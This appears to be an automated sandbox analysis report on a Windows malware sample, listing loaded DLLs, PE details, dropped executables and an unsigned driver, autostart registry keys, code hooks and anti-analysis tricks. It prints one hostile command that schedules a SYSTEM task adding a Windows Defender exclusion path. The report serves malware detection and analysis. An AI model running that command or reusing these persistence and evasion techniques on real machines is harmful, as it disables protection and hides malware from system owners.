Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: tbcore3u.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Section loaded: tbcore3u.dll

Source: C:\Users\user\Desktop\153776434-874356550.05.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe

File written: C:\Users\Public\Music\destopbak.ini

Jump to behavior

Source: 153776434-874356550.05.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 153776434-874356550.05.exe

Static file information: File size 30912720 > 1048576

Source: 153776434-874356550.05.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x1d59600

Source: 153776434-874356550.05.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 153776434-874356550.05.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 153776434-874356550.05.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 153776434-874356550.05.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 153776434-874356550.05.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 153776434-874356550.05.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 153776434-874356550.05.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: d:\work\iGiveButton\toolbar4\Release_bin\uninstall.pdb source: U5Mb5c.exe, 00000026.00000000.2415597084.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, U5Mb5c.exe, 00000027.00000000.2438859747.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, U5Mb5c.exe, 00000027.00000002.2456794407.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, s87cvg4.exe, 00000028.00000002.2457899867.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, s87cvg4.exe, 00000028.00000000.2442858307.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, SibbEG.exe, 0000002C.00000002.2702660951.0000000000618000.00000002.00000001.01000000.0000000E.sdmp, SibbEG.exe, 0000002C.00000000.2695823984.0000000000618000.00000002.00000001.01000000.0000000E.sdmp, U5Mb5c.exe, 0000002D.00000000.2859167785.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, U5Mb5c.exe, 0000002D.00000002.2869675445.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, s87cvg4.exe, 0000002E.00000000.2862831227.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, s87cvg4.exe, 0000002E.00000002.2874245980.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, U5Mb5c.exe, 0000002F.00000000.3450279785.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, U5Mb5c.exe, 0000002F.00000002.3473572394.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, s87cvg4.exe, 00000030.00000002.3482779528.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, s87cvg4.exe, 00000030.00000000.3462122428.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, U5Mb5c.exe, 00000031.00000000.4051130378.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, U5Mb5c.exe, 00000031.00000002.4064586101.0000000000848000.00000002.00000001.01000000.0000000A.sdmp, s87cvg4.exe, 00000032.00000000.4056005011.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, s87cvg4.exe, 00000032.00000002.4069989124.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmp, SibbEG.exe.5.dr
Source:	Binary string: c:\tools_git_priv\truesight\driver\objfre_win7_amd64\amd64\TrueSight.pdb source: 189atohci.sys.0.dr
Source:	Binary string: y:\avsdk5\engine\make\build\public\64-bit\vseamps.pdb source: ocGsp4.exe, 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmp, ocGsp4.exe, 00000004.00000000.1981866400.0000000140014000.00000002.00000001.01000000.00000008.sdmp, ocGsp4.exe, 00000005.00000000.2001161229.0000000140014000.00000002.00000001.01000000.00000008.sdmp, ocGsp4.exe.0.dr
Source:	Binary string: spinner-x64.pdb source: 153776434-874356550.05.exe

Source: 153776434-874356550.05.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 153776434-874356550.05.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 153776434-874356550.05.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 153776434-874356550.05.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 153776434-874356550.05.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Documents\ocGsp4.exe

Code function: 4_2_000000014000F000 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_000000014000F000

Source: initial sample

Static PE information: section where entry point is pointing to: .mo:

Source: tbcore3U.dll.5.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll.5.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll.5.dr	Static PE information: section name: .mo:
Source: tbcore3U.dll0.5.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll0.5.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll0.5.dr	Static PE information: section name: .mo:
Source: tbcore3U.dll.38.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll.38.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll.38.dr	Static PE information: section name: .mo:

Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Code function: 39_2_00842691 push ecx; ret	39_2_008426A4
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Code function: 40_2_00CF2691 push ecx; ret	40_2_00CF26A4
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Code function: 44_2_00612691 push ecx; ret	44_2_006126A4

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\153776434-874356550.05.exe	File created: C:\Users\user\Documents\vselog.dll			Jump to dropped file
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	File created: C:\Users\user\Documents\ocGsp4.exe			Jump to dropped file

Sample is not signed and drops a device driver

Source: C:\Users\user\Desktop\153776434-874356550.05.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Program Files (x86)\SibbEG\SibbEG.exe	Jump to dropped file
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	File created: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	File created: C:\Windows\System32\drivers\189atohci.sys	Jump to dropped file
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	File created: C:\Users\user\Documents\vselog.dll	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Program Files (x86)\SibbEG\tbcore3U.dll	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Jump to dropped file
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	File created: C:\Program Files (x86)\k65O7cr6i\tbcore3U.dll	Jump to dropped file
Source: C:\Users\user\Documents\ocGsp4.exe	File created: C:\Program Files (x86)\U5Mb5c\tbcore3U.dll	Jump to dropped file
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	File created: C:\Users\user\Documents\ocGsp4.exe	Jump to dropped file

Source: C:\Users\user\Desktop\153776434-874356550.05.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key value created or modified: HKEY_CURRENT_USER\System\CurrentControlSet\Services\Sauron Groupfenzhu			Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Key value created or modified: HKEY_CURRENT_USER\System\CurrentControlSet\Services\Sauron Groupfenzhu			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"

Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe

Registry key created: HKEY_CURRENT_USER\System\CurrentControlSet\Services\Sauron

Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe

4_2_0000000140001520

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\ocGsp4.exe	Memory written: PID: 7756 base: 7FFE22370008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Memory written: PID: 7756 base: 7FFE2220D9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Memory written: PID: 7784 base: 7FFE22370008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Memory written: PID: 7784 base: 7FFE2220D9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Memory written: PID: 2416 base: 1400005 value: E9 8B 2F B0 75	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Memory written: PID: 2416 base: 76F02F90 value: E9 7A D0 4F 8A	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Memory written: PID: 2416 base: 17B0005 value: E9 8B 2F 75 75	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Memory written: PID: 2416 base: 76F02F90 value: E9 7A D0 8A 8A	Jump to behavior
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Memory written: PID: 7596 base: 810005 value: E9 8B 2F 6F 76
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Memory written: PID: 7596 base: 76F02F90 value: E9 7A D0 90 89
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Memory written: PID: 1228 base: 14F0005 value: E9 8B 2F A1 75
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Memory written: PID: 1228 base: 76F02F90 value: E9 7A D0 5E 8A
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Memory written: PID: 1312 base: 13E0005 value: E9 8B 2F B2 75
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	Memory written: PID: 1312 base: 76F02F90 value: E9 7A D0 4D 8A
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Memory written: PID: 6904 base: EA0005 value: E9 8B 2F 06 76
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Memory written: PID: 6904 base: 76F02F90 value: E9 7A D0 F9 89
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Memory written: PID: 7092 base: C90005 value: E9 8B 2F 27 76
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Memory written: PID: 7092 base: 76F02F90 value: E9 7A D0 D8 89
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Memory written: PID: 7960 base: 1320005 value: E9 8B 2F BE 75
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Memory written: PID: 7960 base: 76F02F90 value: E9 7A D0 41 8A
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Memory written: PID: 8008 base: 6C0005 value: E9 8B 2F 84 76
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Memory written: PID: 8008 base: 76F02F90 value: E9 7A D0 7B 89
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Memory written: PID: 3852 base: F50005 value: E9 8B 2F FB 75
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	Memory written: PID: 3852 base: 76F02F90 value: E9 7A D0 04 8A
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Memory written: PID: 4192 base: 1600005 value: E9 8B 2F 90 75
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	Memory written: PID: 4192 base: 76F02F90 value: E9 7A D0 6F 8A

Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\153776434-874356550.05.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Documents\ocGsp4.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Documents\ocGsp4.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C57CBDE
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C571EB4
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C4AF34F
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C4FF839
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C4C080B
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C5C91B6
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C3DDE34
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 3F3C5E8
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 3EA007F
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 3E31F74
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 3E4FE84
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 3EEA3BD
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 3E9336B
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 3E210CD
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C4B87AA
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C50183C
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C57B056
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C4690FC
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BCEBC04
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BD290FC
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BE3CBDE
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C48FFCB
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C555F8C
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C50C0AF
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BE15F8C
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BD787B1
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BD82089
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BDE8647
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	API/Special instruction interceptor: Address: 6BDF9F9E
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	API/Special instruction interceptor: Address: 6BD7183C
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	API/Special instruction interceptor: Address: 6BCF3E38
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	API/Special instruction interceptor: Address: 6BCDA03F
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	API/Special instruction interceptor: Address: 6BD287B1
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	API/Special instruction interceptor: Address: 6BD6F839
Source: C:\Program Files (x86)\SibbEG\SibbEG.exe	API/Special instruction interceptor: Address: 6BC4DE34
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C56A702
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BDE1EB4
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BC9BC04
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BE182C1
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BDF9F9E
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C596E74
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BD3080B
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BD6F839
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BE26565
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BD287B1
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C5A82C1
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C485143
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C483E38
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BE47C0E
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BCDA03F
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C528647
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C45F12B
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C4C2089
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BC4DE34
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BD32089
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BE391B6
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BCFFFCB
Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe	API/Special instruction interceptor: Address: 6C5C7912
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BCF3E38
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BCF5143
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BDECBDE
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BE06E74
Source: C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe	API/Special instruction interceptor: Address: 6BD7C0AF

Tries to delay execution (extensive OutputDebugStringW loop)

Source: C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe

Section loaded: OutputDebugStringW count: 1924

Tries to detect virtualization through RDTSC time measurements

